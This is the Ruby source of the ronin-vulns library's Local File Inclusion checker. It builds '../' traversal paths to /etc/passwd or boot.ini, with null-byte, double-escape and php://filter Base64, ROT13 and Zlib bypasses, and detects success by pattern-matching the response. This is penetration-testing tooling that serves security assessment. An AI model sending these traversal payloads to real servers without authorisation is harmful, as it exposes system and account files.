lib/ronin/vulns/lfi.rb
# frozen_string_literal: true
#
# ronin-vulns - A Ruby library for blind vulnerability testing.
#
# Copyright (c) 2022-2023 Hal Brodigan (postmodern.mod3 at gmail.com)
#
# ronin-vulns is free software: you can redistribute it and/or modify
# it under the terms of the GNU Lesser General Public License as published
# by the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# ronin-vulns is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU Lesser General Public License for more details.
#
# You should have received a copy of the GNU Lesser General Public License
# along with ronin-vulns. If not, see <https://www.gnu.org/licenses/>.
#
require 'ronin/vulns/web_vuln'
require 'ronin/vulns/lfi/test_file'
require 'ronin/support/text/patterns'
require 'ronin/support/crypto'
require 'ronin/support/compression'
require 'uri/query_params'
require 'base64'
module Ronin
module Vulns
#
# Represents a Local File Inclusion (LFI) vulnerability.
#
# ## Features
#
# * Supports UNIX and Windows paths.
# * Supports `%00` null terminator trick (fixed in PHP 5.3).
# * Supports Base64, ROT13, and Zlib `php://filter/`s.
#
class LFI < WebVuln
include Ronin::Support
# The test file for UNIX systems.
UNIX_TEST_FILE = TestFile.new('/etc/passwd', %r{(?:[a-z][a-z0-9_-]*:x:\d+:\d+:[^:]*:(?:/[A-Za-z0-9_-]*)+:(?:/[A-Za-z0-9_-]*)+\n)+})
# The test file for Windows systems.
WINDOWS_TEST_FILE = TestFile.new('\\boot.ini', /\[boot loader\](?:\r?\n(?:[^\[\r\n].*)?)*\r?\n(?:\[operating system\](?:\r?\n(?:[^\[\r\n].*)?)*\r?\n)?/m)
# The default directory traversal depth.
DEFAULT_DEPTH = 6
# Targeted Operating System (OS)
#
# @return [:unix, :windows, nil]
attr_reader :os
# Optional filter bypass technique to use.
#
# @return [:null_byte, :base64, :rot13, :zlib, nil]
attr_reader :filter_bypass
# The number of directories to traverse up
#
# @return [Integer]
attr_reader :depth
# The directory separator character.
#
# @return [String]
attr_reader :separator
# The escape path to add to every LFI path
#
# @return [String]
attr_reader :escape_path
# The common file to test with.
#
# @return [TestFile]
attr_reader :test_file
#
# Creates a new LFI object.
#
# @param [String, URI::HTTP] url
# The URL to exploit.
#
# @param [:unix, :windows, nil] os
# Operating System to specifically target.
#
# @param [Integer] depth
# Number of directories to escape up.
#
# @param [:null_byte, :double_escape, :base64, :rot13, :zlib, nil] filter_bypass
# Specifies which filter bypass technique to use.
#
# * `:null_byte - appends a `%00` null byte to the escaped path.
# **Note:* this technique only works on PHP < 5.3.
# * `:double_escape` - Double escapes the {#escape_path}
# (ex: `....//....//`).
# * `:base64` - Base64 encodes the included local file.
# * `:rot13` - ROT13 encodes the included local file.
# * `:zlib` - Zlib compresses and Base64 encodes the included local
# file.
#
# @param [Hash{Symbol => Object}] kwargs
# Additional keyword arguments for {WebVuln#initialize}.
#
def initialize(url, os: :unix,
depth: DEFAULT_DEPTH,
filter_bypass: nil,
**kwargs)
super(url,**kwargs)
@os = os
case @os
when :unix
@separator = '/'
@test_file = UNIX_TEST_FILE
when :windows
@separator = '\\'
@test_file = WINDOWS_TEST_FILE
else
raise(ArgumentError,"unknown os keyword value (#{@os.inspect}) must be either :unix or :windows")
end
case filter_bypass
when :null_byte, :double_escape, :base64, :rot13, :zlib, nil
@filter_bypass = filter_bypass
else
raise(ArgumentError,"unknown filter_bypass keyword value (#{filter_bypass.inspect}) must be :null_byte, :double_escape, :base64, :rot13, :zlib, or nil")
end
@depth = depth
@escape_path = ("..#{@separator}" * @depth)
apply_filter_bypasses
end
private
#
# Pre-applies additional filter-bypass rules to {#escape_path}.
#
def apply_filter_bypasses
if @filter_bypass == :double_escape
# HACK: String#gsub interpretes "\\" as a special character in the
# replace string, so we must use String#gsub with a block.
@escape_path.gsub!("..#{@separator}") do
"....#{@separator}#{@separator}"
end
end
end
public
#
# Escapes the given path.
#
# @param [String] path
# The given path to escape.
#
# @return [String]
# The escaped path.
#
# @note
# Relative paths and absolute Windows paths to other drives will not
# be escaped.
#
def escape(path)
if @os == :windows && path.start_with?('C:\\')
# escape absolute Windows paths to the C: drive
"#{@escape_path}#{path[3..]}"
elsif @os == :windows && path =~ /\A[A-Z]:/
# pass through absolute Windows paths to other drives
path
elsif path.start_with?(@separator)
# escape absolute paths
"#{@escape_path}#{path[1..]}"
else
# pass through relative paths
path
end
end
#
# Builds a `../../..` escaped path for the given file path.
#
# @param [String] path
# The path to escape.
#
# @return [String]
# The `../../../` escaped path.
#
# @note
# * If the given path begins with `php:`, then no `../../../` prefix
# will be added.
# * If initialized with `filter_bypass: :null_byte`, then a `\0`
# character will be appended to the path.
#
def encode_payload(path)
case @filter_bypass
when :base64
"php://filter/convert.base64-encode/resource=#{path}"
when :rot13
"php://filter/read=string.rot13/resource=#{path}"
when :zlib
"php://filter/zlib.deflate/convert.base64-encode/resource=#{path}"
when :null_byte
"#{escape(path)}\0"
else
escape(path)
end
end
#
# Determines whether the URL is vulnerable to Local File Inclusion (LFI).
#
# @return [Boolean]
#
def vulnerable?
response = exploit(@test_file.path)
body = response.body
case @filter_bypass
when :base64
body.scan(Text::Patterns::BASE64).any? do |string|
Base64.decode64(string) =~ @test_file
end
when :rot13
Crypto.rot(body,-13) =~ @test_file
when :zlib
body.scan(Text::Patterns::BASE64).any? do |string|
Compression.zlib_inflate(Base64.decode64(string)) =~ @test_file
rescue Zlib::DataError
# not zlib compressed Base64, ignore
end
else
body =~ @test_file
end
end
#
# Returns the type or kind of vulnerability.
#
# @return [Symbol]
#
# @note
# This is used internally to map an vulnerability class to a printable
# type.
#
# @api private
#
# @abstract
#
def self.vuln_type
:lfi
end
end
end
end